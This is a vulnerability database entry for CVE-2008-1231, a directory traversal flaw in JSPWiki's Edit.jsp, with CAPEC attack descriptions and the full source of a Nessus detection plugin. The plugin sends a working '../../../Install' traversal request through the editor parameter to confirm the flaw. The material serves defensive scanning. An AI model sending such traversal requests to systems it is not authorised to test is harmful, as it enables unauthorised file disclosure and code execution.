Vulnerabilities > CVE-2008-1231 - Path Traversal vulnerability in Jspwiki 2.4.104/2.5.139/2.5.139Beta

047910
CVSS 9.3 - CRITICAL
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
jspwiki
CWE-22
critical
nessus
exploit available

Summary

Directory traversal vulnerability in Edit.jsp in JSPWiki 2.4.104 and 2.5.139 allows remote attackers to include and execute arbitrary local .jsp files, and obtain sensitive information, via a .. (dot dot) in the editor parameter. Reference links suggest possible solution upgrade to latest version (2.6.1) at: http://www.jspwiki.org/wiki/JSPWikiDownload

Vulnerable Configurations

Part Description Count
Application
Jspwiki
3

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionJSPWiki 2.4.104 / 2.5.139 Multiple Remote Vulnerabilities. CVE-2008-1229,CVE-2008-1230,CVE-2008-1231. Webapps exploit for jsp platform
fileexploits/jsp/webapps/5112.txt
idEDB-ID:5112
last seen2016-01-31
modified2008-02-13
platformjsp
port
published2008-02-13
reporterBugSec LTD
sourcehttps://www.exploit-db.com/download/5112/
titlejspwiki 2.4.104 / 2.5.139 - Multiple Vulnerabilities
typewebapps

Nessus

NASL familyCGI abuses
NASL idJSPWIKI_EDITOR_LFI.NASL
descriptionThe remote web server hosts JSPWiki, an open source WikiWiki engine built using standard J2EE components. The installed version of JSPWiki fails to sanitize user input to the
last seen2020-06-01
modified2020-06-02
plugin id57322
published2011-12-16
reporterThis script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/57322
titleJSPWiki Edit.jsp editor Parameter Traversal Local File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(57322);
  script_version("1.10");
  script_cvs_date("Date: 2018/11/15 20:50:17");

  script_cve_id("CVE-2008-1231");
  script_bugtraq_id(27785);
  script_xref(name:"EDB-ID", value:"5112");

  script_name(english:"JSPWiki Edit.jsp editor Parameter Traversal Local File Inclusion");
  script_summary(english:"Tries to read a file");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote web server hosts a JSP script that's affected by a local
file inclusion vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The remote web server hosts JSPWiki, an open source WikiWiki engine
built using standard J2EE components.

The installed version of JSPWiki fails to sanitize user input to the
'editor' parameter of the 'Edit.jsp' script of directory traversal
sequences before using it to include and execute an arbitrary local
JSP file.  An unauthenticated, remote attacker could exploit this
issue to disclose sensitive information or execute arbitrary code on
the affected host, subject to the privileges under which the web
server operates.

Note that this install is also likely to be affected by a cross-site
scripting vulnerability, although Nessus has not tested for that."
  );
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2008/Feb/198");
  script_set_attribute(
    attribute:"solution",
    value:
"Upgrade to JSPWiki 2.6.1 or later as that is reported to address the
issue."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(22);


  script_set_attribute(attribute:"vuln_publication_date", value:"2008/02/13");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/11/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/12/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");


port = get_http_port(default:8080, embedded:FALSE);


file = 'Install';
exploit = '../../../' + file;


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/JSPWiki", "/wiki", cgi_dirs()));
else dirs = make_list(cgi_dirs());

contents = "";
installs = 0;
vuln_urls = make_list();

foreach dir (dirs)
{
  url = dir + '/Edit.jsp?' +
    'page=User&' +
    'editor=' + exploit;
  res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);

  # If it looks like JSPWiki's Edit.jsp script...
  if (
    'javascript.quick.edit":"Edit This Section"' >< res[2] ||
    'JSPWiki: Edit: User' >< res[2] ||
    'JSPWiki Edit: User</title>' >< res[2]
  )
  {
    installs++;
  }
  # Otherwise continue unless we're being paranoid.
  else if (report_paranoia < 2)
  {
    continue;
  }

  if (
    'JSPWiki Installer</title>' >< res[2] ||
    'JSPWiki Installer</h1>' >< res[2]
  )
  {
    contents = res[2];
    if (' <div id="editcontent"' >< contents) contents = '[...]\n' + strstr(contents, ' <div id="editcontent"');
    else if ('  <span><a class="activetab" id="menu-editcontent" onclick="TabbedSection.onclick(\'editcontent\')"' >< contents)
      contents = '[...]\n' + strstr(contents, '  <span><a class="activetab" id="menu-editcontent" onclick="TabbedSection.onclick(\'editcontent\')"');

    vuln_urls = make_list(vuln_urls, url);
    if (!thorough_tests) break;
  }
}


if (max_index(vuln_urls))
{
  if (report_verbosity > 0)
  {
    if (max_index(vuln_urls) == 1) s = '';
    else s = 's';

    line_limit = 50;
    trailer = '';

    header =
      'Nessus verified the issue by trying to include the application\'s own\n' +
      '\'' + file + '.jsp\' script and verifying the output in the response stream\n' +
      'using the following URL' + s;

    if (report_verbosity > 1)
    {
      trailer =
        'Here is its output (limited to ' + line_limit + ' lines) :\n' +
        '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
        beginning_of_response(resp:contents, max_lines:line_limit) +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30);
    }
    report = get_vuln_report(items:vuln_urls, port:port, header:header, trailer:trailer);
    security_warning(port:port, extra:data_protection::sanitize_user_paths(report_text:report));
  }
  else security_warning(port);
  exit(0);
}
else
{
  if (installs == 0) exit(0, "No installs of JSPWiki were found on the web server on port "+port+".");
  else if (installs == 1) exit(0, "The JSPWiki install hosted on the web server on port "+port+" is not affected.");
  else exit(0, "The JSPWiki installs hosted on the web server on port "+port+" are not affected.");
}